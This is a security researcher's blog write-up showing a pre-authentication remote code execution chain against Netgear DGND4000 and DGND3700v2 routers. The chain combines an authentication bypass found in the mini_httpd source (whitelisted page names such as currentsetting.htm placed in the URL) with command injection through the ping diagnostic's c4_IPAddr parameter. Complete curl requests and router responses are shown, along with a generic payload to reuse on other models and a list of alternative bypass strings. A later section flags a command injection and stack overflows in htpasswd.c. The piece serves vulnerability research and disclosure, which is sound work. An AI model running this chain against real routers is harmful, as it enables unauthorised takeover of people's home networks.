C11111: Netgear DGND4000, Remote Code Execution (pre-auth) - part 1
Hello everyone, I wish you in anticipation a beautiful day.
I saw in my twitter feed a link to 0vercl0k’s article that I invite you to read if you haven’t already. I won’t dwell on it, the article is great and very well explained.
The article presents two things, an authentication bypass and a command injection, which allows you to get a full chain remote code execution on router DGND3700v2. We won’t focus on the second point since I had already published an article on it several months ago. Well ok, I’m trolling, but that’s just for fun, I found traces of this from 9 years ago (too bad I could find this only after writing mine).
What I find interesting in his approach is that, by reading his article I think
that he has reverse engineered the binary mini_httpd
.
Today I will present another method that allows in the case of his router
DGND3700v2 and mine DGND4000
to obtain similar results (a full chain RCE). What’s even cooler is that this
method allows you to get this result on many old Netgear routers even if you
don’t know how to use ida
and it is just by reading source code.
wget
and that’s it
As the title of this paragraph explains, use wget
and the trick is done, at
least almost. In fact, the source of many Netgear routers are publicly available
for download at the following address:
Let’s take in our case the router DGND4000:
Let’s take a version of its firmware:
They are so cool that they give us stuff to compile our own binaries for our
target (backdoors for example) which can be really handy. Let’s decompress the
sources with the tool tar
.
$ tar -xvf DGND4000_V1.1.00.10_WW_src.tar.bz2
And navigate the folder:
- DGND4000_V1.1.00.10_WW_src
From the folder DGND4000_V1.1.00.10_WW_src/Source/apps/mini_httpd-1.17beta1/:
$ ls
COPYING README haha index.html mime_encodings.txt mini_httpd.c port.h tdate_parse.h
FILES contrib htpasswd.1 match.c mime_types.txt mini_httpd.cnf scripts version.h
Makefile exit htpasswd.c match.h mini_httpd.8 mini_httpd.pem tdate_parse.c
What we are interested in, is the file:
- DGND4000_V1.1.00.10_WW_src/Source/apps/mini_httpd-1.17beta1/mini_httpd.c
Analysis
Just read the source code.
File: DGND4000_V1.1.00.10_WW_src/Source/apps/mini_httpd-1.17beta1/mini_httpd.c
/* mini_httpd - small HTTP server
**
** Copyright ?1999,2000 by Jef Poskanzer <jef@acme.com>.
** All rights reserved.
...
*/
...
static int need_auth = 1;
...
/* Request variables. */
static char *no_check_passwd_paths[]={"currentsetting.htm", "update_setting.htm", "debuginfo.htm",
"important_update.htm","MNU_top.htm", "warning_pg.htm",
"multi_login.html", "htpwd_recovery.cgi", "401_recovery.htm", "401_access_denied.htm",
NULL};
...
/* This runs in a child process, and exits when done, so cleanup is
** not needed.
*/
static void
handle_request( void )
{
...
need_auth = 1; /* all of files need auth check by default */
...
if(path_exist(path, no_check_passwd_paths)) {
need_auth = 0;
/* for hi-jack page, should allow 2 user access at same time. */
someone_in_use = 0;
}
...
}
...
/*
* Check if @path exist in @paths[].
* Return 1 ==> Yes, path exist in paths
* 0 ==> No. Can not find path in paths
*
* NOTE: paths[] end with NULL
*/
static int path_exist(char *path, char *paths[]) {
int i;
for(i=0; paths[i]; i++) {
if(strstr(path, paths[i])) {
return 1;
}
}
/* For these .gif or .css of .js or .xml or .jpg file, it will be used by other .htm file, and it's no need to request auth for these files. */
if( (strstr(path,".gif")!=NULL) || (strstr(path,".css") !=NULL) || (strstr(path,".js") != NULL)
|| (strstr(path,".xml") != NULL)
|| (strstr(path,".jpg") != NULL)
)
return 1;
return 0;
}
...
No need to explain why, we land on our feet and identified the authentication bypass. We can see that the trick is known for quite some time since entries are present on exploit-db since at least 2013 but nothing tells us if it was found by reading source code or not.
POC for router DGND4000
Let’s do a test (without the authentication bypass):
$ proxychains4 -q curl -X GET -vvv -1 -k "https://X_1.X_1.X_1.X_1:8443/setup.cgi"
Note: Unnecessary use of -X or --request, GET is already inferred.
* Trying X_1.X_1.X_1.X_1:8443...
* Connected to X_1.X_1.X_1.X_1 (127.0.0.1) port 8443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.0 (IN), TLS handshake, Certificate (11):
* TLSv1.0 (IN), TLS handshake, Server finished (14):
* TLSv1.0 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.0 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.0 (OUT), TLS handshake, Finished (20):
* TLSv1.0 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1 / AES256-SHA
* ALPN, server did not agree to a protocol
* Server certificate:
* subject: C=US; ST=California; L=San Jose; O=NETGEAR; OU=Home Consumer Products; CN=www.routerlogin.net
* start date: Jul 20 10:40:04 2011 GMT
* expire date: Jul 17 10:40:04 2021 GMT
* issuer: C=US; ST=California; L=San Jose; O=NETGEAR; OU=Home Consumer Products; CN=www.routerlogin.net
* SSL certificate verify result: self signed certificate (18), continuing anyway.
> GET /setup.cgi HTTP/1.1
> Host: X_1.X_1.X_1.X_1:8443
> User-Agent: curl/7.82.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 401 Unauthorized
< Server:
< Date: Thu, 24 Mar 2022 17:53:45 GMT
< WWW-Authenticate: Basic realm="NETGEAR DGND4000"
< Content-Type: text/html
< P3P: 8443
< Connection: close
<
<script> top.location.href="401_access_denied.htm"</script>
</BODY>
</HTML>
* Closing connection 0
* TLSv1.0 (OUT), TLS alert, close notify (256):
Let’s do another test (with the authentication bypass):
$ proxychains4 -q curl -vvv -X GET -1 -k "https://X_1.X_1.X_1.X_1:8443/setup.cgi?foo=currentsetting.htm&next_file=diagping.htm&todo=ping_test&c4_IPAddr=127.0.0.1"
Note: Unnecessary use of -X or --request, GET is already inferred.
* Trying X_1.X_1.X_1.X_1:8443...
* Connected to X_1.X_1.X_1.X_1 (127.0.0.1) port 8443 (#0)
...
> GET /setup.cgi?foo=currentsetting.htm&next_file=diagping.htm&todo=ping_test&c4_IPAddr=127.0.0.1 HTTP/1.1
> Host: X_1.X_1.X_1.X_1:8443
> User-Agent: curl/7.82.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Content-type: text/html
<
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="Pragma" content="no-cache"><meta http-equiv="Cache-Control" content="no-cache"><meta http-equiv="Expires" content="Mon, 06 Jan 1990 00:00:01 GMT"><meta name="description" content="DGND4000_multilangual"><title>NETGEAR Router DGND4000</title><script language="javascript" type="text/javascript" src="string.js"></script><link rel="stylesheet" href="style/form.css"><script language="javascript" type="text/javascript" src="funcs.js"></script><!-- link rel="stylesheet" href="form.css" --><style type="text/javascript">
classes.num.all.fontFamily = "Courier";
classes.num.all.fontSize = "10pt" ;
</style><script language="javascript" type="text/javascript" src="utility.js"></script><script language="javascript" type="text/javascript" src="linux.js"></script><script language="javascript" type="text/javascript">
<!-- hide script from old browsers
function refresh()
{
var t1 = parseInt(document.forms[0].reflash_flag.value, 10);
if(t1 > 0)
window.setTimeout("window.location.href='./diagping.htm'",1000);
}
//-->
</script></head><body bgcolor="#ffffff" onLoad="refresh();document.forms[0].elements[1].focus();">
<form name="formname" method="POST" action="setup.cgi?id=3d4a9799" onSubmit="return false">
<div class="page_title" languageCode = "143">Diagnostics - Ping</div>
<div class="fix_button">
<table width="100%" border="0" cellpadding="0" cellspacing="2"><tr><td nowrap colspan="2" align="center">
<input class="cancel_bt" type="button" name="back" value = "Back" onClick="location.href='./diag.htm'" languageCode = "115">
</td></tr></table>
</div>
<div id="main" class="main_top_button">
<table border="0" cellpadding="0" cellspacing="3" width="100%"><tr><td colspan="2" align="center"><b languageCode = "144">Ping Results</b></td>
</tr><tr><td colspan="2" align="center" class="num"><textarea name="ping_result" class="num" cols="60" rows="12" wrap="off" readonly >
PING 127.0.0.1 (127.0.0.1): 56 data bytes
no need set tos. 0
64 bytes from 127.0.0.1: seq=0 ttl=64 time=0.568 ms
64 bytes from 127.0.0.1: seq=1 ttl=64 time=0.395 ms
64 bytes from 127.0.0.1: seq=2 ttl=64 time=0.402 ms
64 bytes from 127.0.0.1: seq=3 ttl=64 time=0.396 ms
--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 0.395/0.440/0.568 ms
</textarea></td>
</tr><tr><td colspan="2" background="liteblue.gif" height="12"></td>
</tr><tr><td colspan="2" align="center"></td>
</tr></table><p></p>
<input type="hidden" name="reflash_flag" value="0"><input type="hidden" name="todo" value="refresh"><input type="hidden" name="this_file" value="diagping.htm"><input type="hidden" name="next_file" value="diagping.htm"><input type="hidden" name="SID" value="">
</div>
</form>
<div id="help" style="display: none">
<iframe name="help_iframe" id="helpframe" src="diag_h.htm" allowtransparency="true" width="100%" frameborder="0">
</iframe>
</div>
<div id="help_switch" class="close_help">
<img class="help_switch_img" src="image/help/help-bar.gif"><script>
var help_flag=0;
if(isIE()){
show_hidden_help_top_button(1);
var frame_div = top.document.getElementById("formframe_div");
frame_div.onresize = function(){
if(help_flag == 0) show_hidden_help_top_button(1);
else{show_hidden_help_top_button(--help_flag);help_flag++;}
};}
if(get_browser() == "Opera"){
window.onresize = function(){
if(help_flag == 0) show_hidden_help_top_button(1);
else{show_hidden_help_top_button(--help_flag);help_flag++;}
};}
</script><div id="help_space" onClick="show_hidden_help_top_button(help_flag); help_flag++;"></div>
<div id="help_center"><span languageCode="3016">Help Center</span></div>
<div id="help_button" onClick="show_hidden_help_top_button(help_flag); help_flag++;"></div>
<div id="help_show_hidden"><a href="javascript:void(0)" onClick="show_hidden_help_top_button(help_flag); help_flag++;"><span languageCode="3017">Show/Hide Help Center</span></a></div>
</div>
<script language="javascript" type="text/javascript" src="langs.js"></script></body></html>
* Closing connection 0
* TLSv1.0 (OUT), TLS alert, close notify (256):
Ok, so there is effectively a change. Now let’s use the command injection within
the parameter c4_IPAddr
with the following payload:
Authentication bypass:
?foo=currentsetting.htm
Make the request valid:
&next_file=diagping.htm
Effective payload:
&todo=ping_test&c4_IPAddr=127.0.0.1 && /bin/busybox echo POC_1
This gives us the following result:
$ proxychains4 -q curl -vvv -X GET -1 -k "https://X_1.X_1.X_1.X_1:8443/setup.cgi?foo=currentsetting.htm&next_file=diagping.htm&todo=ping_test&c4_IPAddr=127.0.0.1%20%26%26%20/bin/busybox%20echo%20POC_1"
Note: Unnecessary use of -X or --request, GET is already inferred.
* Trying X_1.X_1.X_1.X_1:8443...
* Connected to X_1.X_1.X_1.X_1 (127.0.0.1) port 8443 (#0)
...
> GET /setup.cgi?foo=currentsetting.htm&next_file=diagping.htm&todo=ping_test&c4_IPAddr=127.0.0.1%20%26%26%20/bin/busybox%20echo%20POC_1 HTTP/1.1
> Host: X_1.X_1.X_1.X_1:8443
> User-Agent: curl/7.82.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Content-type: text/html
<
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="Pragma" content="no-cache"><meta http-equiv="Cache-Control" content="no-cache"><meta http-equiv="Expires" content="Mon, 06 Jan 1990 00:00:01 GMT"><meta name="description" content="DGND4000_multilangual"><title>NETGEAR Router DGND4000</title><script language="javascript" type="text/javascript" src="string.js"></script><link rel="stylesheet" href="style/form.css"><script language="javascript" type="text/javascript" src="funcs.js"></script><!-- link rel="stylesheet" href="form.css" --><style type="text/javascript">
classes.num.all.fontFamily = "Courier";
classes.num.all.fontSize = "10pt" ;
</style><script language="javascript" type="text/javascript" src="utility.js"></script><script language="javascript" type="text/javascript" src="linux.js"></script><script language="javascript" type="text/javascript">
<!-- hide script from old browsers
function refresh()
{
var t1 = parseInt(document.forms[0].reflash_flag.value, 10);
if(t1 > 0)
window.setTimeout("window.location.href='./diagping.htm'",1000);
}
//-->
</script></head><body bgcolor="#ffffff" onLoad="refresh();document.forms[0].elements[1].focus();">
<form name="formname" method="POST" action="setup.cgi?id=538c4451" onSubmit="return false">
<div class="page_title" languageCode = "143">Diagnostics - Ping</div>
<div class="fix_button">
<table width="100%" border="0" cellpadding="0" cellspacing="2"><tr><td nowrap colspan="2" align="center">
<input class="cancel_bt" type="button" name="back" value = "Back" onClick="location.href='./diag.htm'" languageCode = "115">
</td></tr></table>
</div>
<div id="main" class="main_top_button">
<table border="0" cellpadding="0" cellspacing="3" width="100%"><tr><td colspan="2" align="center"><b languageCode = "144">Ping Results</b></td>
</tr><tr><td colspan="2" align="center" class="num"><textarea name="ping_result" class="num" cols="60" rows="12" wrap="off" readonly >
PING 127.0.0.1 (127.0.0.1): 56 data bytes
no need set tos. 0
64 bytes from 127.0.0.1: seq=0 ttl=64 time=0.553 ms
64 bytes from 127.0.0.1: seq=1 ttl=64 time=0.402 ms
64 bytes from 127.0.0.1: seq=2 ttl=64 time=0.391 ms
64 bytes from 127.0.0.1: seq=3 ttl=64 time=0.395 ms
--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 0.391/0.435/0.553 ms
POC_1
</textarea></td>
</tr><tr><td colspan="2" background="liteblue.gif" height="12"></td>
</tr><tr><td colspan="2" align="center"></td>
</tr></table><p></p>
<input type="hidden" name="reflash_flag" value="0"><input type="hidden" name="todo" value="refresh"><input type="hidden" name="this_file" value="diagping.htm"><input type="hidden" name="next_file" value="diagping.htm"><input type="hidden" name="SID" value="">
</div>
</form>
<div id="help" style="display: none">
<iframe name="help_iframe" id="helpframe" src="diag_h.htm" allowtransparency="true" width="100%" frameborder="0">
</iframe>
</div>
<div id="help_switch" class="close_help">
<img class="help_switch_img" src="image/help/help-bar.gif"><script>
var help_flag=0;
if(isIE()){
show_hidden_help_top_button(1);
var frame_div = top.document.getElementById("formframe_div");
frame_div.onresize = function(){
if(help_flag == 0) show_hidden_help_top_button(1);
else{show_hidden_help_top_button(--help_flag);help_flag++;}
};}
if(get_browser() == "Opera"){
window.onresize = function(){
if(help_flag == 0) show_hidden_help_top_button(1);
else{show_hidden_help_top_button(--help_flag);help_flag++;}
};}
</script><div id="help_space" onClick="show_hidden_help_top_button(help_flag); help_flag++;"></div>
<div id="help_center"><span languageCode="3016">Help Center</span></div>
<div id="help_button" onClick="show_hidden_help_top_button(help_flag); help_flag++;"></div>
<div id="help_show_hidden"><a href="javascript:void(0)" onClick="show_hidden_help_top_button(help_flag); help_flag++;"><span languageCode="3017">Show/Hide Help Center</span></a></div>
</div>
<script language="javascript" type="text/javascript" src="langs.js"></script></body></html>
* Closing connection 0
* TLSv1.0 (OUT), TLS alert, close notify (256):
Now that we know the POC is valid for router DGND4000. We should test if it is also valid for router DGND3700v2.
POC for router DGND3700v2
Without the authenticaton bypass:
$ proxychains4 -q curl -vvv -X GET -1 -k "https://X_2.X_2.X_2.X_2:8443/setup.cgi"
Note: Unnecessary use of -X or --request, GET is already inferred.
* Trying X_2.X_2.X_2.X_2:8443...
* Connected to X_2.X_2.X_2.X_2 (127.0.0.1) port 8443 (#0)
...
> GET /setup.cgi HTTP/1.1
> Host: X_2.X_2.X_2.X_2:8443
> User-Agent: curl/7.82.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 401 Unauthorized
< Server:
< Date: Thu, 24 Mar 2022 18:54:20 GMT
< WWW-Authenticate: Basic realm="NETGEAR DGND3700v2"
< Content-Type: text/html
< P3P: 8443
< Connection: close
<
<script> top.location.href="401_access_denied.htm"</script>
</BODY>
</HTML>
* Closing connection 0
* TLSv1.0 (OUT), TLS alert, close notify (256):
With the authentication bypass and the payload:
$ proxychains4 -q curl -vvv -X GET -1 -k "https://X_2.X_2.X_2.X_2:8443/setup.cgi?foo=currentsetting.htm&next_file=diagping.htm&todo=ping_test&c4_IPAddr=127.0.0.1%20%26%26%20/bin/busybox%20echo%20POC_2"
Note: Unnecessary use of -X or --request, GET is already inferred.
* Trying X_2.X_2.X_2.X_2:8443...
* Connected to X_2.X_2.X_2.X_2 (127.0.0.1) port 8443 (#0)
...
> GET /setup.cgi?foo=currentsetting.htm&next_file=diagping.htm&todo=ping_test&c4_IPAddr=127.0.0.1%20%26%26%20/bin/busybox%20echo%20POC_2 HTTP/1.1
> Host: X_2.X_2.X_2.X_2:8443
> User-Agent: curl/7.82.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Content-type: text/html
<
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="Pragma" content="no-cache"><meta http-equiv="Cache-Control" content="no-cache"><meta http-equiv="Expires" content="Mon, 06 Jan 1990 00:00:01 GMT"><meta name="description" content="DGND3700v2_multilangual"><title>NETGEAR Router DGND3700v2</title><script language="javascript" type="text/javascript" src="string.js"></script><link rel="stylesheet" href="style/form.css"><script language="javascript" type="text/javascript" src="funcs.js"></script><!-- link rel="stylesheet" href="form.css" --><style type="text/javascript">
classes.num.all.fontFamily = "Courier";
classes.num.all.fontSize = "10pt" ;
</style><script language="javascript" type="text/javascript" src="utility.js"></script><script language="javascript" type="text/javascript" src="linux.js"></script><script language="javascript" type="text/javascript">
<!-- hide script from old browsers
function refresh()
{
var t1 = parseInt(document.forms[0].reflash_flag.value, 10);
if(t1 > 0)
window.setTimeout("window.location.href='./diagping.htm'",1000);
}
//-->
</script></head><body bgcolor="#ffffff" onLoad="refresh();document.forms[0].elements[1].focus();">
<form name="formname" method="POST" action="setup.cgi?id=4f5e5a4e" onSubmit="return false">
<div class="page_title" languageCode = "143">Diagnostics - Ping</div>
<div class="fix_button">
<table width="100%" border="0" cellpadding="0" cellspacing="2"><tr><td nowrap colspan="2" align="center">
<input class="cancel_bt" type="button" name="back" value = "Back" onClick="location.href='./diag.htm'" languageCode = "115">
</td></tr></table>
</div>
<div id="main" class="main_top_button">
<table border="0" cellpadding="0" cellspacing="3" width="100%"><tr><td colspan="2" align="center"><b languageCode = "144">Ping Results</b></td>
</tr><tr><td colspan="2" align="center" class="num"><textarea name="ping_result" class="num" cols="60" rows="12" wrap="off" readonly >
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=64 time=0.613 ms
64 bytes from 127.0.0.1: seq=1 ttl=64 time=0.402 ms
64 bytes from 127.0.0.1: seq=2 ttl=64 time=0.406 ms
64 bytes from 127.0.0.1: seq=3 ttl=64 time=0.405 ms
--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 0.402/0.456/0.613 ms
POC_2
</textarea></td>
</tr><tr><td colspan="2" background="liteblue.gif" height="12"></td>
</tr><tr><td colspan="2" align="center"></td>
</tr></table><p></p>
<input type="hidden" name="reflash_flag" value="0"><input type="hidden" name="todo" value="refresh"><input type="hidden" name="this_file" value="diagping.htm"><input type="hidden" name="next_file" value="diagping.htm"><input type="hidden" name="SID" value="">
</div>
</form>
<div id="help" style="display: none">
<iframe name="help_iframe" id="helpframe" src="diag_h.htm" allowtransparency="true" width="100%" frameborder="0">
</iframe>
</div>
<div id="help_switch" class="close_help">
<img class="help_switch_img" src="image/help/help-bar.gif"><script>
var help_flag=0;
if(isIE()){
show_hidden_help_top_button(1);
var frame_div = top.document.getElementById("formframe_div");
frame_div.onresize = function(){
if(help_flag == 0) show_hidden_help_top_button(1);
else{show_hidden_help_top_button(--help_flag);help_flag++;}
};}
if(get_browser() == "Opera"){
window.onresize = function(){
if(help_flag == 0) show_hidden_help_top_button(1);
else{show_hidden_help_top_button(--help_flag);help_flag++;}
};}
</script><div id="help_space" onClick="show_hidden_help_top_button(help_flag); help_flag++;"></div>
<div id="help_center"><span languageCode="3016">Help Center</span></div>
<div id="help_button" onClick="show_hidden_help_top_button(help_flag); help_flag++;"></div>
<div id="help_show_hidden"><a href="javascript:void(0)" onClick="show_hidden_help_top_button(help_flag); help_flag++;"><span languageCode="3017">Show/Hide Help Center</span></a></div>
</div>
<script language="javascript" type="text/javascript" src="langs.js"></script></body></html>
* Closing connection 0
* TLSv1.0 (OUT), TLS alert, close notify (256):
Our POC works too for this router even without specifying GET parameters id
and sp
.
Conclusion
This exploit can be reused on several models of old Netgear routers. The way to detect if a router is vulnerable can be reduced to the following payload:
/setup.cgi?foo=currentsetting.htm&next_file=diagping.htm&todo=ping_test&c4_IPAddr=127.0.0.1 && /bin/busybox echo POC
I advise you to test different requests by randomly replacing currentsetting.htm
by one of these strings:
update_setting.htm
debuginfo.htm
important_update.htm
MNU_top.htm
warning_pg.htm
multi_login.html
htpwd_recovery.cgi
401_recovery.htm
401_access_denied.htm
In addition, there are two other command injections into setup.cgi as described in the following articles:
- Command injection in the test ADSL functionality (post-auth)
- Command injection in the DSLencapsulation functionality (post-auth)
In addition
As I was exploiting vulnerabilities, I used grep
to search for potential
buffer overlfow. From whitin project mini_httpd-1.17beta1
let’s look the file Makefile.
File: mini_httpd-1.17beta1/Makefile
...
htpasswd: htpasswd.o
gcc ${CFLAGS} ${LDFLAGS} htpasswd.o ${CRYPT_LIB} -o htpasswd
htpasswd.o: htpasswd.c
gcc ${CFLAGS} -c htpasswd.c
...
Let’s now look at the code of binary htpasswd
.
File: mini_httpd-1.17beta1/htpasswd.c
/*
* htpasswd.c: simple program for manipulating password file for NCSA httpd
*
* Rob McCool
*/
/* Modified 29aug97 by Jef Poskanzer to accept new password on stdin,
** if stdin is a pipe or file. This is necessary for use from CGI.
*/
#include <sys/types.h>
#include <stdio.h>
#include <string.h>
#include <signal.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
extern char *crypt(const char *key, const char *setting);
#define LF 10
#define CR 13
#define MAX_STRING_LEN 256
int tfd;
char temp_template[] = "/tmp/htp.XXXXXX";
void interrupted(int);
static char * strd(char *s) {
char *d;
d=(char *)malloc(strlen(s) + 1);
strcpy(d,s);
return(d);
}
static void getword(char *word, char *line, char stop) {
int x = 0,y;
for(x=0;((line[x]) && (line[x] != stop));x++)
word[x] = line[x];
word[x] = '\0';
if(line[x]) ++x;
y=0;
while((line[y++] = line[x++]));
}
static int getline(char *s, int n, FILE *f) {
register int i=0;
while(1) {
s[i] = (char)fgetc(f);
if(s[i] == CR)
s[i] = fgetc(f);
if((s[i] == 0x4) || (s[i] == LF) || (i == (n-1))) {
s[i] = '\0';
return (feof(f) ? 1 : 0);
}
++i;
}
}
static void putline(FILE *f,char *l) {
int x;
for(x=0;l[x];x++) fputc(l[x],f);
fputc('\n',f);
}
/* From local_passwd.c (C) Regents of Univ. of California blah blah */
static unsigned char itoa64[] = /* 0 ... 63 => ascii - 64 */
"./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
static void to64(register char *s, register long v, register int n) {
while (--n >= 0) {
*s++ = itoa64[v&0x3f];
v >>= 6;
}
}
#ifdef MPE
/* MPE lacks getpass() and a way to suppress stdin echo. So for now, just
issue the prompt and read the results with echo. (Ugh). */
char *getpass(const char *prompt) {
static char password[81];
fputs(prompt,stderr);
gets((char *)&password);
if (strlen((char *)&password) > 8) {
password[8]='\0';
}
return (char *)&password;
}
#endif
static void
add_password( char* user, FILE* f )
{
char pass[100];
char* pw;
char* cpw;
char salt[3];
if ( ! isatty( fileno( stdin ) ) )
{
(void) fgets( pass, sizeof(pass), stdin );
if ( pass[strlen(pass) - 1] == '\n' )
pass[strlen(pass) - 1] = '\0';
pw = pass;
}
else
{
pw = strd( (char*) getpass( "New password:" ) );
if ( strcmp( pw, (char*) getpass( "Re-type new password:" ) ) != 0 )
{
(void) fprintf( stderr, "They don't match, sorry.\n" );
if ( tfd != -1 )
unlink( temp_template );
exit( 1 );
}
}
(void) srandom( (int) time( (time_t*) 0 ) );
to64( &salt[0], random(), 2 );
cpw = crypt( pw, salt );
(void) fprintf( f, "%s:%s\n", user, cpw );
}
static void usage(void) {
fprintf(stderr,"Usage: htpasswd [-c] passwordfile username\n");
fprintf(stderr,"The -c flag creates a new file.\n");
exit(1);
}
void interrupted(int signo) {
fprintf(stderr,"Interrupted.\n");
if(tfd != -1) unlink(temp_template);
exit(1);
}
int main(int argc, char *argv[]) {
FILE *tfp,*f;
char user[MAX_STRING_LEN];
char line[MAX_STRING_LEN];
char l[MAX_STRING_LEN];
char w[MAX_STRING_LEN];
char command[MAX_STRING_LEN];
int found;
tfd = -1;
signal(SIGINT,(void (*)(int))interrupted);
if(argc == 4) {
if(strcmp(argv[1],"-c"))
usage();
if(!(tfp = fopen(argv[2],"w"))) {
fprintf(stderr,"Could not open passwd file %s for writing.\n",
argv[2]);
perror("fopen");
exit(1);
}
printf("Adding password for %s.\n",argv[3]);
add_password(argv[3],tfp);
fclose(tfp);
exit(0);
} else if(argc != 3) usage();
tfd = mkstemp(temp_template);
if(!(tfp = fdopen(tfd,"w"))) {
fprintf(stderr,"Could not open temp file.\n");
exit(1);
}
if(!(f = fopen(argv[1],"r"))) {
fprintf(stderr,
"Could not open passwd file %s for reading.\n",argv[1]);
fprintf(stderr,"Use -c option to create new one.\n");
exit(1);
}
strcpy(user,argv[2]);
found = 0;
while(!(getline(line,MAX_STRING_LEN,f))) {
if(found || (line[0] == '#') || (!line[0])) {
putline(tfp,line);
continue;
}
strcpy(l,line);
getword(w,l,':');
if(strcmp(user,w)) {
putline(tfp,line);
continue;
}
else {
printf("Changing password for user %s\n",user);
add_password(user,tfp);
found = 1;
}
}
if(!found) {
printf("Adding user %s\n",user);
add_password(user,tfp);
}
fclose(f);
fclose(tfp);
sprintf(command,"cp %s %s",temp_template,argv[1]);
system(command);
unlink(temp_template);
exit(0);
}
We distinguish the presence of two vulnerabilities:
- Command injection through
argv[1]
. - Multiples stack buffer overflow.
Command injection through argv[1]
File: mini_httpd-1.17beta1/htpasswd.c
...
#define MAX_STRING_LEN 256
...
char temp_template[] = "/tmp/htp.XXXXXX";
...
int main(int argc, char *argv[]) {
...
char command[MAX_STRING_LEN];
...
if(argc == 4) {
...
} else if(argc != 3) usage();
...
sprintf(command,"cp %s %s",temp_template,argv[1]);
system(command);
...
}